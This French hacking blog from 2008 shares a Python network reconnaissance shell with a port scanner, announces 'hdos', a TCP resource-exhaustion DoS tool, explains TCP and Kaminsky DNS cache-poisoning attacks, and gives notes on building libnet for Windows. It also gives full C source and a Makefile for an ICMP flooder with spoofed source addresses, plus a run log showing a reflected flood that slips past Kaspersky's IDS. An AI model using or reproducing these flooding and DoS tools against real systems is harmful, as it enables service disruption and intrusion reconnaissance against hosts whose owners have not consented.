19 janv. 2009

UNIX JUNKIES

Hello,

je termine ce blog par ce message pour vous annoncer l'ouverture de www.unix-junkies.org, un espace commun à Kbok et moi où stocker billets, projets et liens divers.
Au plaisir de vous y retrouver!

18 nov. 2008

Network recon

Voici un petit morceau de python pour tenir un peu le choc face à une météo pourrie et une fatigue très en forme (hein??)

Il s'agit d'un petit shell permettant d'effectuer simplement des opérations de découverte réseau. Il a été volontairement limité à une version sans RAW_SOCKET, le but étant de découvrir un réseau sans droit root sur aucune machine. Son utilisation et son code sont relativement simples. Je me suis un peu inspiré de la console de metasploit dans l'esprit.

Je vous laisse découvrir. La commande help ou la lecture du code vous guidera entre les écailles du Python (merci).




#!/usr/bin/env python

#
#
# Netreckon is a discovery shell designed to help
# a user to map an unknown IP network using
# several techniques
#
# Some parts inspired from a sample code from James Thiele
# available here : http://www.eskimo.com/~jet/python/examples/cmd/console.py
#

# Copyright (c) 2008, Hth
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of the Hth nor the names of its contributors
# may be used to endorse or promote products derived from this
# software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
#
#


import os
import sys
import cmd
import time
import random
import socket
# The following 'readline' module provides some bash like shortcuts
import readline



# No default timeout else...
socket.setdefaulttimeout( 1.0 )


# Global variables are all stored there to avoid conflicts
global_vars = {
# Software version
'version' : '0.1 dev',
# Author
'author' : 'Hth networks'
}



class NetReckon:
"""
Higher level stuff which reates the console
the user can see launching the script
"""
def __init__( self ):
"""
shell initialization
"""
# launch console
console = NetReckonConsole()
try:
console.cmdloop()
except:
self.exit_failure()


def exit_failure( self ):
""" Exit with return code 1 """
sys.exit( 1 )



class NetReckonConsole( cmd.Cmd ):
"""
Perform reckon actions according
to user's inputs
(interactive console)
"""

def __init__( self ):
"""
startup actions engine
"""
cmd.Cmd.__init__( self )
self.prompt = '>> '
self.intro = """
NetReckon < interactive user network recon console >

---[ %s ]
---[ %s ]

* Starting session at %s *
"""%( global_vars['version'], global_vars['author'], time.ctime() ) # As mentionned above, we insert version, author handle and actual date
# user defined variables are stored there to be used as arguments by actions
self.userVariables = {}


def do_set( self, argstr ):
"""
set a variable to a supplied value

"""
arglist = argstr.split() # Convert arguments from a string to a list
if len( arglist ) == 2:
self.userVariables[arglist[0]] = arglist[1]
else:
print 'Incorrect syntax!'
print '>> set '


def help_set( self ):
"""
Help about the `set` method
"""
print 'Create (or change the value of) a variable'
print 'set '


def do_unset( self, argstr ):
"""
unset a variable in the list
"""
if self.userVariables.has_key( argstr ):
try:
del self.userVariables[argstr]
except:
print 'Incorrect syntax!'
print 'unset '
else:
print 'Unknown variable supplied : %s'%argstr


def help_unset( self ):
"""
help about the `unset` method
"""
print 'Delete a previously defined variable'
print 'unset '


def do_show( self, argstr ):
"""
show stored variables
"""
print 'User variables :\n'
for entry in self.userVariables.keys():
print '%s\t%s'%(entry, self.userVariables[entry])


def help_show( self ):
"""
help about the `show` method
"""
print 'print out stored variables names and values'


def do_exit( self, argstr ):
"""
exit netreckon
"""
sys.exit( argstr )


def help_exit( self ):
"""
help about he `exit` method (...)
"""
print 'Exit netreckon'
print 'A message or a return code can be supplied as an argument :'
print 'exit -1'


#-- Command definitions to support Cmd object functionality --#
def do_shell( self, argstr ):
"""
execute a shell command
"""
os.system( argstr )


def do_EOF( self, args ):
"""
Exit on system end of file character
"""
return self.do_exit( args )


def emptyline( self ):
"""
Do nothing on empty input line
"""
pass


def do_help( self, argstr ):
"""
print out help on demand
"""
cmd.Cmd.do_help( self, argstr )


def help_help( self ):
"""
do we really have to explain this sir?
"""
print 'print stuff like this one'

#-- ------- ----------- -- ------- --- ------ ------------- --#
#-- Override methods in Cmd object --#

def preloop( self ):
"""
Called just before the main loop starts.
Call the initial preloop() and prepare variable dicts
to let user execute some python code later
"""
cmd.Cmd.preloop( self ) # sets up command completion
self._locals = {}
self._globals = {}


def postloop( self ):
"""
Finish everything that has to be
"""
cmd.Cmd.postloop( self ) # Clean up command completion
print ''
#-- -------- ------- -- --- ------ --#

def do_python( self, argstr ):
"""
Execute the command as python code
"""
try:
exec( argstr ) in self._locals, self._globals
except Exception, e:
print e.__class__, ":", e


def help_python( self ):
"""
Help about the `python` command
"""
print 'Execute the line as python code.'
print 'A context of variables is maintained separately'
print 'from the `set` variables for python code'
print 'eg. python a=2; print a'


## DNS Resolution

def do_dns( self, argstr ):
"""
Find out IP address of a known hostname
"""
arglist = argstr.split()
resolver = DnsResolver()

if len( arglist ) >= 1:
resolver.do_dns_resolution( arglist )
else:
print 'dns ...'


def help_dns( self ):
"""
Provide help concerning `dns` instruction
"""
print 'Try to resolve hostname(s) into IP addresses'
print 'dns ...'


## Reverse DNS Resolution
def do_revdns( self, argstr ):
"""
Perform reverse DNS requests
to discover a network
"""
ip_range = ''

# Can be called without argument if NETWORK has been set
if argstr != '':
ip_range = argstr
elif self.userVariables.has_key( 'NETWORK' ):
ip_range = self.userVariables['NETWORK']
else:
# else exit function
print 'No argument supplied'
self.help_revdns()
return

# Do reverse DNS resolution once arguments are parsed
resolver = DnsResolver()
resolver.do_reverse_dns_resolution( ip_range )


def help_revdns( self ):
"""
Provide some help for the `revdns` instruction
"""
print 'Try to resolve IP addresses into hostnames'
print 'both syntaxes are recognized :'
print 'revdns 192.168.1.1-5'
print 'and'
print 'set NETWORK 192.0-75.0-255.0-255'
print 'revdns'


## TCP connect() scan
def do_scantcp( self, argstr ):
"""
scan for open tcp ports of a given host
"""
if argstr != '':
ip_range = argstr
elif self.userVariables.has_key( 'TARGET' ):
ip_range = self.userVariables['TARGET']
else:
print 'No argument supplied'
self.help_scantcp()
return

scan = PortScanner()
if self.userVariables.has_key( 'PORTS' ):
scan.parse_port_sequence( self.userVariables['PORTS'] )
scan.connect_scan( ip_range )


def help_scantcp( self ):
"""
Provide some help for the `scantcp` instruction
"""
print 'perform a tcp connect() scan against target(s)'
print 'in order to find out open ports'
print 'You can set the PORTS variable to specify ports to scan'
print '(eg. set PORTS 21-90)'
print 'Targets can follow the instruction this way : '
print 'scantcp 192.168.1.0-5'
print 'or using the TARGET variable'
print 'set TARGET 192.168.1.0-5'
print 'scantcp'



class DnsResolver:
"""
Perform DNS operations
on ranges of IP addresses
"""
def __init__( self ):
pass


def do_dns_resolution( self, hostnames ):
"""
Find out IP address of a known hostname
"""
for hostname in hostnames:
try:
print '\t%-25s\t\t%s'%( hostname, socket.gethostbyname( hostname ) )
except:
print '\t%-25s\t\t(unknown host)'%hostname


def do_reverse_dns_resolution( self, addresses ):
"""
Perform reverse DNS requests
to discover a network
"""
addressesRange = AddrExtract( addresses )
while True:
addr = addressesRange.next()
if addr == '':
break
try:
host = socket.gethostbyaddr( addr )
print '\t%s\t\t%s'%( addr, host[0] )
except:
continue



class PortScanner:
"""
Perform basic port scanning
using tcp connect() scan.
Parse and randomize ranges of ports
"""
def __init__( self ):
"""
Set properties to their default values
"""
# default behavior is to scan the whole ports range
self.portList = range( 1, 65535 + 1 )
# used to print out open ports in a clean way
self.openPorts = []


def parse_port_sequence( self, portSeqStr ):
"""
build a list of ports to scan
from a string like 21,22,42-80
"""
# erase whatever has been saved before
self.portList = []
tmpList = []
for token in portSeqStr.split( ',' ):
tmpList.append( token )
for elt in tmpList:
if elt.count( '-' ) == 1:
for port in self.__get_ports_from_range( elt ):
self.portList.append( port )
else:
try:
self.portList.append( int( elt ) )
except:
print 'Invalid port supplied %s'%elt
continue


def __get_ports_from_range( self, portRange ):
"""
convert a string like 1-5
to a list of ports ( [1, 2, 3, 4, 5] )


"""
tmpRange = []
try:
# split string into start and stop values
subRange = portRange.split( '-' )
start = int( subRange[0] )
stop = int( subRange[1] ) + 1
# and add each port included between
for port in range( start, stop ):
tmpRange.append( port )
except:
# empty list is returned if an exception occurs
tmpRange = []
finally:
# list is returned whatever happens
return tmpRange


def connect_scan( self, targets ):
"""
Scan every host in a range of IP addresses
"""
addressesRange = AddrExtract( targets )
if addressesRange != None:
while True:
addr = addressesRange.next()
if addr == '':
break
try:
self.scan_host( addr )
except:
continue
else:
print 'Invalid IP range supplied!'



def scan_host( self, target ):
"""
Perform tcp connect() scan
"""
random.shuffle( self.portList )
self.openPorts = []

for probedPort in self.portList:
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
try:
s.connect( ( target, probedPort ) )
self.openPorts.append( probedPort )
except socket.error:
pass
finally:
s.close()
# Once this is done :
self.__print_results( target )


def __print_results( self, target ):
"""
print out the list of open ports for scanned host
"""
print 'Open (tcp) ports on %s :'%( target )
print '( %i probed and %i found open )'%( len( self.portList ), len( self.openPorts ) )
self.openPorts.sort()
if len( self.openPorts ) == 0:
print ''
for port in self.openPorts:
print 'Port %i open'%port
print ''



class AddrExtract:
"""
find out every IP addresses
in a memory efficient way
from a string describing ranges of
addresses like 192.168.0-5.0.255
"""
def __init__( self, input ):
"""
extracter startup
"""
self.addressesParts = {
'A' : {
'start' : 0,
'stop' : 0
},
'B' : {
'start' : 0,
'stop' : 0
},
'C' : {
'start' : 0,
'stop' : 0
},
'D' : {
'start' : 0,
'stop' : 0
}
}
self.stringRange = input
self.nextAddress = ''
if not self.split_string():
self.reset_all()


def split_string( self ):
"""
split input string into
4 parts of IP addresses
"""
parts = self.stringRange.split( '.' )
# Number of fields must be 4 (IPv4 only...)
if len( parts ) != 4:
print 'Invalid IPv4 addresses range supplied : %s'%self.stringRange
return False
# Get ranges supplied in each field
for i in ['A', 'B', 'C', 'D']:
try:
self.addressesParts[i]['start'] = int( parts[ord(i) - ord('A')] ) # this is not a C program??
# On the following line we assign the starting value to the 'stop' field if the address field has not be specified as a range
# (otherwise an exception would have been raised above)
self.addressesParts[i]['stop'] = self.addressesParts[i]['start']
except:
try:
start, stop = parts[ord(i) - ord('A')].split( '-' )
self.addressesParts[i]['start'] = int( start )
self.addressesParts[i]['stop'] = int( stop )
except:
print 'Invalid IPv4 addresses range supplied : %s'%self.stringRange
return False
# Check computed values
if not self.check_addresses_range_values():
return False
# If we are there, then assume it's OK
return True


def check_addresses_range_values( self ):
"""
Are supplied values Ok for IP addresses ?
"""
for k in self.addressesParts.keys():
if self.addressesParts[k]['start'] not in range(0, 256):
print 'Invalid addresses Range supplied : %s'%self.stringRange
return False
if self.addressesParts[k]['stop'] not in range(0, 256):
print 'Invalid addresses Range supplied : %s'%self.stringRange
return False
return True


def reset_all( self ):
"""
Reset every field of addressesParts
to zero
"""
for key in self.addressesParts.keys():
for entry in self.addressesParts[key].keys():
self.addressesParts[key][entry] = 0


def next( self ):
"""
return the next IP address of the range
without storing the whole list of addresses
contained in this range
"""
# On first call
if self.nextAddress == '':
# Writing the first IP address of the range using format string and computed values
self.nextAddress = '%i.%i.%i.%i'%(
self.addressesParts['A']['start'],
self.addressesParts['B']['start'],
self.addressesParts['C']['start'],
self.addressesParts['D']['start'] )
# Catch some misinitializations...
if self.nextAddress == '0.0.0.0':
return ''
else:
return self.nextAddress
# For following calls
a, b, c, d = self.nextAddress.split( '.' )
a = int( a )
b = int( b )
c = int( c )
d = int( d )
# The big if - then - else labyrinth...
if d < self.addressesParts['D']['stop']:
d += 1
else:
d = self.addressesParts['D']['start']
if c < self.addressesParts['C']['stop']:
c += 1
else:
c = self.addressesParts['C']['start']
if b < self.addressesParts['B']['stop']:
b += 1
else:
b = self.addressesParts['B']['start']
if a < self.addressesParts['A']['stop']:
a += 1
else:
return ''

self.nextAddress = '%i.%i.%i.%i'%( a, b, c, d )
return self.nextAddress





# So all that stuff started here?!
if __name__ == '__main__':
NetReckon()






Voila, j'espère que le script plaira. C'est entre autre un exemple assez complet de l'utilisation du module cmd de python qui permet de réaliser facilement ce type de consoles avec historique des commandes, gestion de l'aide etc.

C'est tellement marrant la recon! =D

7 nov. 2008

Hdos - TCP resource exhaustion attack tool -

Voilà, je me suis décidé, je publie donc une version "gentille" de hdos, la version Hth du Ndos de Fyodor.

Juste pour ceux qui n'auraient pas suivi, Fyodor, le grand gourou du projet Nmap, a écris -mais jamais publié- un outil compagnon de nmap intitulé "Ndos". L'idée étant d'ouvrir des connections tcp sur un service sans passer par la pile Tcp/IP du kernel et donc de ne garder aucune trace des connections là où la cible va au contraire consommer beaucoup de ressources pour gérer ces connections.

(Cf. article ci-dessous)

Fyodor a simplement publié l'écran d'aide de Ndos, dont je me suis plus qu'inspiré!

L'outil Naphta implémente également cette attaque.

Hdos utilise la librairie Pcap et la Libnet (version 1.1.2.1) et suit un modèle de réception/envoi asynchrone. Des paquets SYN sont envoyés à haute vitesse tant que rien n'est disponible en réception. L'utilisation d'un filtre BPF (via la libpcap) fait que si quelque chose est disponible, alors il s'agit d'une réponse SYN+ACK provenant de la cible. Lorsque l'on en reçoit, on répond des ACK, jusqu'à ce que la file d'attente de la réception soit épuisée à nouveau, auquel cas on reprend l'envoi de SYN.

L'outil est donc relativement rapide et efficace. J'ai crashé (et bien comme il faut hein!!) mon eeepc en quelques centaines de connections sur le port 139.

Hdos pourrait être bien plus dangereux si on lui ajoutait la possibilité d'envoyer le contenu d'un fichier texte dans les connections ouvertes, afin de stimuler les services attaqués. Cette option, tout comme le mode "poli", n'a pas été implémentée par manque de temps et d'intérêt, vu que mon objectif n'était pas de releaser un missile pour script kiddies mais d'observer ce type d'attaques. Si Fyodor l'a fait, c'est qu'il utilise l'outil pour des pentest professionels, ce n'est pas mon cas.

Ceci dit, implémenter une telle option est tout à fait envisageable étant donné l'organisation du code (que j'ai essayé de commenter un peu).

Hdos est sous licence BSD, ce qui permet en gros à chacun d'en faire ce qu'il veut, y compris de ne pas diffuser d'éventuelles modifications. Ceci dit je serais bien content de recevoir quelques patchs ou feedback!

Un fichier README est associé au projet. Il rapelle notamment qu'il est nécessaire de configurer son firewall pour utiliser Hdos, afin de bloquer les paquets Tcp RST sortants (là encore, explications dans l'article ci-dessous).

hdos_0.1.tar.gz

MD5 (hdos_0.1.tar.gz) = c24829ca8684ca7ffb75d7dd1abcbf2f

18 oct. 2008

Attaques sur le protocole TCP

Hello, je tente de poster au milieu de ce qui est pour moi une rentrée chargée...
Bien que ces dernières semaines, la mode soit au clickjacking, il un petit buzz s'est formé autour de l'annonce de vullnérabilités découvertes sur TCP.
Et ouais, pendant que ces messieurs du web 12.0 se déchirent sur la dangerosité d'afficher un boutton "Valider" qui en fait ne valide pas (il faudrait tout de même n'avoir aucune dignité personelle pour s'abaisser à faire de telles choses! Nos criminels ont de l'honneur...), et bien d'autres continuent d'étudier les protocoles percés sur lesquels Internet évolue.

Après DNS, c'est donc au tour de TCP d'y passer, selon les auteurs du puissant (mais moins cool que nmap hein!) scanner de port "unicorn scan", il est possible d'attaquer les implémentations actuelles de TCP, pour provoquer un déni de service. Sans dévoiler leur attaque, ils affirment que tous les services testés sont vulnérables, et qu'il n'existe aucun 'workaround" propre au problème. Chouette et rassurant non?

Fyodor, le grand gourou lumineux du monde des développeurs réseau (avec Alan Cox aussi...) a rapidement publié un article sur insecure.org, dans lequel il ralaît (à raison) contre cette pratique de petite starlette d'annoncer au monde la découverte de vulnérabilité, tout en attendant des semaines pour la révéler. Encore, avec l'histoire de Kaminsky, cela pouvait avoir un sens, étant donné que les entreprises bossaient sur un patch, autant là on frôle le ridicule vu que ce n'est pas le cas!
Par ailleurs Fyodor s'essaye à deviner l'attaque "secrète". Selon lui (confirmé par les auteurs), il s'agit d'une variante de l'attaque connue depuis 8 ans, qui consiste à ouvrir des tas de connections TCP via une raw socket, sans garder trace des connections ouvertes. Le serveur, lui, conserve tout cela en mémoire. Au bout d'un moment, on atteind des seuils en terme de fichiers ouverts, packets [ACK|FIN] envoyés et mémoire allouée et le déni de service se produit. Seule le reboot du serveur remet les choses en ordre. L'outil NAPHTA implémentait cette attaque (on était plutôt dans le proof of concept quand même...).

Résumé de l'attaque :
Avant tout, il faut configurer son firewall afin qu'il n'envoi pas de paquet [RST] à la réception de paquet [SYN|ACK].

Le client forge un paquet TCP SYN et l'envoi en direction du service visé.

(Seq = seq_client, Ack = 0)
====[ SYN ]===>

Normalement le serveur renvoit un [SYN|ACK] avec un numéro de séquence que nous devons récupérer (IP spoofing à travailler sur un autre niveau qu'applicatif donc)

(Seq = seq_serveur, Ack = seq_client + 1)
<===[SYN|ACK]==== 


On capture ce paquet, et on en extrait le champ Seq afin de forger un paquet [ACK] afin de terminer l'ouverture de la connection.

(Seq = seq_client + 1, Ack = seq_serveur + 1)
====[ACK]===> 


Ensuite si l'on désire augmenter la puissance de l'attaque, on peut envoyer une requête sur un gros fichier ou autre, histoire d'obliger le système cible à copier des buffers dans le kernel, et à nous envoyer des données pour lesquelles bien évidemment nous n'accuserons jamais réception!
Au bout d'une période d'inactivité, la cible va nous envoyer des [ACK|FIN] (souvent une petite dizaine).


Fyodor dit avoir écrit un outil du style, nommé ndos, et dont il fourni le help screen. Mais refuse de le releaser. Intrigué par cette attaque que je ne connaissais pas, je me suis donc attaqué à l'écriture de mon outil, reprenant les mêmes options. Je suis rapidement arrivé à un premier truc assez lent mais efficace. Inéluctablement, les cibles pliaient!!

Tellement efficace que j'ai voulu écrire une seconde version, plus rapide (schéma envoi/réception asynchrone). Cette version est en cours de développement. Je la publierais peut être, auquel cas ce sera ici même.

Ainsi, si Ronald avait vu juste au sujet de l'accroissement des menaces par requêtes non-autorisées, j'ai l'impression que le retour aux fondamentaux n'avait été annoncé nul part. Erf, autre chose, on peut sniffer le web en forgeant des paquets BGP foireux, et créer des faux passeports électroniques en trois lignes de commande.
Rien que ça?
ouep!

C'est beau le futur des fois...

23 août 2008

Compiler la Libnet sous Windows avec Visual C++ 2008

Si la libnet est un outil fort sympathique, elle n'est plus vraiment entretenue par son développeur principal (unique?) Mike Schiffman. La dernière version (1.1.3) est donc fournie avec les fichiers de projet pour visual C++ 2005 et ça ne compile plus sous le dernier VC++ express! (Sous Gnu/Linux et FreeBSD ça marche sans soucis par contre!)

Voici les changements à effectuer pour que la compilation puisse se faire sous Windows :


La libnet dépend de la libpcap (winpcap sous windows). Il vous faut donc installer cette dernière ainsi que le winpcap developers pack.

Dans pcap-stdinc.h : commentez les lignes :

#define snprintf _snprintf
#define vsnprintf _vsnprintf



Dans libnet.h ajoutez la ligne suivante :

#define _CRT_SECURE_NO_WARNINGS


Qui vous évitera des warnings à tout va du compilateur
Vous pouvez ajouter également cette ligne dans le fichier libnet_link_win32.c

Plus loin dans libnet.h ajoutez

#define strdup _strdup



et enfin : dans libnet_resolv.c, à la ligne 128~129, remplacez :

snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
"%s(): %s\n", __func__, hstrerror(h_errno));


par

snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
"%s(): %s\n", __func__, "");


( Il existe sans doute mieux mais bon... )

Voila, un petit F7 et c'est parti!! A la fin de la compilation, la DLL se trouve dans C:\winnt\system32.

Si vous avez des remarques pour améliorer le truc, me dire que ça marche pas, ou qu'au contraire c'est super, n'hésitez pas!

22 août 2008

Kaspersky 2008 : fun sur l'IDS et le firewall intégré

Le framework Kaspersky internet security se compose en gros d'un scanner antivirus, d'un firewall, d'un IDS et de filtres divers (antispam, antiphishing, protection des zenfants etc...) je me suis amusé à observer le comportement des modules firewall et IDS (intrusion detection system)

Détection des scans de ports et OS fingerprinting :

Là dessus Kaspersky est assez fort en ce qu'il n'annonce et ne bloque que les scans qui ont une chance de fonctionner. Ainsi le Mainmon scan (-sM sur nmap) n'est pas annoncé et traité. Kaspersky se laisse abuser par des addresses IP spoofées, qu'il ajoute à la liste des hôtes bannis pendant une durée paramétrable (60mn par défaut). On ne peut pas lui reprocher ce comportement, se fier au cache ARP du système ne serait absolument pas fiable.
Là ou ça coince déjà plus, c'est que les scans ne sont détectés que si leur activité dépasse un seuil (non paramétrable, lui). Ainsi, les scans effectués sur mon LAN, avec les options -T 0, 1 ou 2 passent sans soucis!
Kaspersky ne semble pas se laisser influencer par les options TCP.

Flood :

Dans une période d'ennui de cet après-midi tout pourri (météorologiquement du moins) j'ai écrit un petit flooder icmp. Utilisant la libnet, il se révèle reltivement efficace ( envoi de plus de 160 000 icmp echo requests par seconde ), mais surtout, permet à l'utilisateur de spécifier les adresses IP source et destination.

Son utilisation pour effectuer un icmp flood `normal` contre la machine faisant tourner Kaspersky IS 2008, avec une adresse IP source quelconque et l'IP de la cible en destination, déclenche une alerte de Kaspersky. Le flood est détecté et bloqué.
Le comportement est donc bon (bien que si l'on coupe le firewall, on se rend compte que les activités réseau et cpu de la cible ne sont pas vraiment affectées)
Par contre, si en adresse source je met celle de la cible, et en adresse de destination celle d'une machine quelconque de mon LAN :
de la manière suivante, où 192.168.1.10 est la machine visée, et 192.168.1.14 une machine quelconque (répondant aux pings...)


root@inaree:~/# ./icmpF -s 192.168.1.10 -d 192.168.1.14
Src (192.168.1.10) --> Dst (192.168.1.14)
Session ended :
1582924 packets sent
44321872 bytes sent
0 errors



Alors Kaspersky ne détecte rien, malgré la reception de milliers de ICMP ECHO REPLIES, qui modifient les charges réseau et CPU de façon similaire à un flood direct, avec firewall désactivé!!!
En effet, le flood de requêtes ICMP echo (des "pings" quoi!) se fait contre une autre machine du réseau, mais ayant spoofé l'adresse IP de la machine cible, l'identifiant comme émettrice des requêtes, les réponses lui sont renvoyées. Si l'intermédiaire est assez costaud niveau charge réseau (on peut utiliser le routeur par exemple, à nos risques et périls!), le flux de l'attaque conserve son ampleur.
J'ai pu noter également une rapidité nettement supérieure lorsque j'utilisais une carte sans fil pour mener l'attaque, la machine intermédiaire était mon routeur, qui redirigait les réponses au gros traffic reçu en WIFI vers la carte ethernet de ma machine cible.

Voila, je mettrais à jour le post si je trouve d'autre comportements bizares! En attendant voici le code du flooder, juste pour constater l'eficacité de la libnet!


/*
* file icmpF.c
*/

#include <stdio.h>
#include <signal.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <libnet.h>


/*
* Functions prototypes
*/
void onExit( int signo );
int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr );
int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );
void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );
/* ---------- -- ----------- */


unsigned char Loop = 1;


int main( int argc, char ** argv )
{
int exitValue; /* Return value */
libnet_t * handle; /* Libnet handle */
char errbuf[LIBNET_ERRBUF_SIZE]; /* Libnet error buffer */
struct in_addr srcAddr, dstAddr; /* Source and destination IPv4 addresses */

srcAddr.s_addr = 0;
dstAddr.s_addr = 0;

if ( getAddresses( argc, argv, &srcAddr, &dstAddr ) )
{
fprintf( stderr, "%s -s [ Source address ] -d [ Destination address ]\n", argv[0] );
exitValue = EXIT_FAILURE;
}
else
{
/* SIGINT (ctrl+c is used to break sending loop */
signal( SIGINT, onExit );
/* -- Starting libnet session -- */
if ( ( handle = libnet_init( LIBNET_RAW4, NULL, errbuf ) ) == NULL )
{
fprintf( stderr, "%s\n", errbuf );
exitValue = EXIT_FAILURE;
}
else
{
/* prandn generator is seeded here, then we can get pseudo random integers using our libnet handle */
libnet_seed_prand( handle );
startFlood( handle, srcAddr, dstAddr );
libnet_destroy( handle );
exitValue = EXIT_SUCCESS;
}
}

exit( exitValue );
}

void onExit( int signo )
{
Loop = 0;
}

int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr )
{
if ( argc != 5 )
{
return 1;
}
else
{
unsigned char flags = 0;
unsigned int i;

for ( i = 0 ; i < argc ; i++ )
{
if ( !strcmp( argv[i], "-d" ) && ( argv[i+1] != NULL ) )
{
dstAddr->s_addr = inet_addr( argv[i+1] );
flags |= 1;
}
else if ( !strcmp( argv[i], "-s" ) && ( argv[i+1] != NULL ) )
{
srcAddr->s_addr = inet_addr( argv[i+1] );
flags |= 2;
}
else
{
/* nothing to do */
}
}

if ( ! ( flags & 1 ) ) /* No destination address specified */
return 2;
if ( ! ( flags & 2 ) ) /* No source address specified */
return 3;
}

fprintf( stderr, "Src (%s) --> ", inet_ntoa( *srcAddr ) );
fprintf( stderr, "Dst (%s)\n", inet_ntoa( *dstAddr ) );

return 0;
}


int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )
{
struct libnet_stats sessionStats;
craftPacket( handle, srcAddr, dstAddr );

while ( Loop )
{
libnet_write( handle );
}

libnet_stats( handle, &sessionStats );
fprintf( stdout, "Session ended :\n");
fprintf( stdout, "\t%lu packets sent\n", ( unsigned long )sessionStats.packets_sent );
fprintf( stdout, "\t%lu bytes sent\n", ( unsigned long )sessionStats.bytes_written );
fprintf( stdout, "\t%lu errors\n", ( unsigned long )sessionStats.packet_errors );

return 0;
}

void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )
{
unsigned long probeIcmpId = libnet_get_prand( LIBNET_PRu16 ); /* transaction ID */

libnet_build_icmpv4_echo(
ICMP_ECHO, /* ICMP type */
0, /* ICMP code */
0, /* checksum */
probeIcmpId, /* transaction ID */
0, /* Sequence number */
NULL, /* Payload buffer */
0, /* Payload size */
handle, /* libnet handler */
0 /* create new header */
);

libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* Total IP packet length */
IPTOS_LOWDELAY, /* Type of service */
libnet_get_prand( LIBNET_PRu16 ), /* IP ID */
0, /* fragmentation */
64, /* Time to Live */
IPPROTO_ICMP, /* IP protocol */
0, /* IP checksum */
srcAddr.s_addr, /* local IP address */
dstAddr.s_addr, /* target IP address */
NULL, /* IP payload */
0, /* IP payload size */
handle, /* libnet session */
0 /* modify existant header */
);
}



et le Makefile :

#
# icmpf makefile
#

CC=gcc
ECHO=echo

CFLAGS=`libnet-config --cflags --defines` -O0 -g -Wall -pedantic
LDFLAGS=`libnet-config --libs`


EXEC=icmpF


.SILENT:


all: $(EXEC)


$(EXEC): icmpF.c
$(ECHO) " [CC] $@"
$(CC) $(CFLAGS) $< -o $(EXEC) $(LDFLAGS)

clean:
$(ECHO) " [Cleaning sources]"
rm -f $(EXEC) *.o \#* *~

distclean: clean



23 juil. 2008

Faille DNS expliquée

Bon, je reconnais que j'ai peut être parlé un peu vite lorsqu'hier je disais que je ne parlerais pas de la faille intrinsèque à l'architecture de DNS découverte par D. Kaminsky toussa...

Ce que je voulais dire c'est que je n'en parlerais pas TANT QUE L'ATTAQUE NE SERAIT PAS CONNUE, et maintenant c'est fait! Qui a fait la boulette? on dira pas!

La faille à été extrêmement médiatisée (fun de voir les médias grand public tenter d'expliquer le DNS cache poisoning à M/Mme les-hackeurs-vont-m'envoyer-des-virus ), mais l'attaque en elle même est restée secrète, bon plus maintenant donc...

Pour capter le truc il faut avoir quelques notions sur le fonctionnement des DNS.

Basic: le DNS est le protocole qui permet de faire le lien entre noms d'hôtes ( www.google.com ) et addresses IP.

Pour ceux qui aiment les RFC et qui n'ont rien de prévu les 4 prochains mois voila de quoi s'occuper : http://www.dns.net/dnsrd/rfc pour les autres, la lecture de la RFC 1034 est déjà bien enrichissante (et pour coder la 1035 parle de l'implémentation)

Il reste du monde? Alors on peut reprendre. Une transaction DNS (requête + réponse) se fait autour d'un identifiant pseudo aléatoire, côdé sur 16 bits. Ainsi, pour fausser une réponse DNS, il faudrait connaitre cet identifiant, 16 bits c'est peu mais c'est quand même beaucoup à bruteforcer. Par contre, mathématiquement, si vous parvenez à faire éxécuter 1000 requêtes DNS à la victime, vous avez 1000 fois plus de chance de la piéger ^^

Le second élément à prendre en compte pour mener à bien l'attaque qui nous interesse est l'existence d'additionnal RRs (les RRs - ressource records - sont les champs du paquet qui contiennent l'objet des requêtes/réponses, voir les RFC). Si une requête sur aa.domain.com aboutit avec comme additionnal RRs bb.domain.com, les deux adresses sont mises en cache. En cas d'attaque, vous attaquez donc deux hôtes du même domaine à la fois. Forcément du même domaine? ouais parce que le DNS c'est un peu Disneyland mais les clients sont quand même conçus pour être pas trop stupides.

N'oublions pas que notre victime est un résolveur DNS, en lui envoyant des requêtes, il va interroger (via le mécanisme de récursion) des serveurs de contenu etc... Donc si vous faites en sorte que votre victime demande successivement aaaa.hackme.com, puis aaab.hackme.com etc... vous entrez en course contre le système récursif du serveur DNS cible. A chaque requête, le serveur rend un NXDOMAIN (domaine inconnu), vous êtes désavantagés à cause de l'existence de l'identifiant dont nous parlions au début, néanmoins, la force de l'attaque réside de le fait qu'il suffit d'une seule réussite (au sujet d'un hôte inexistant) à votre actif pour empoisonner le cache du serveur DNS victime pour n'importe quel autre du domaine, à l'aide des additional RRs!
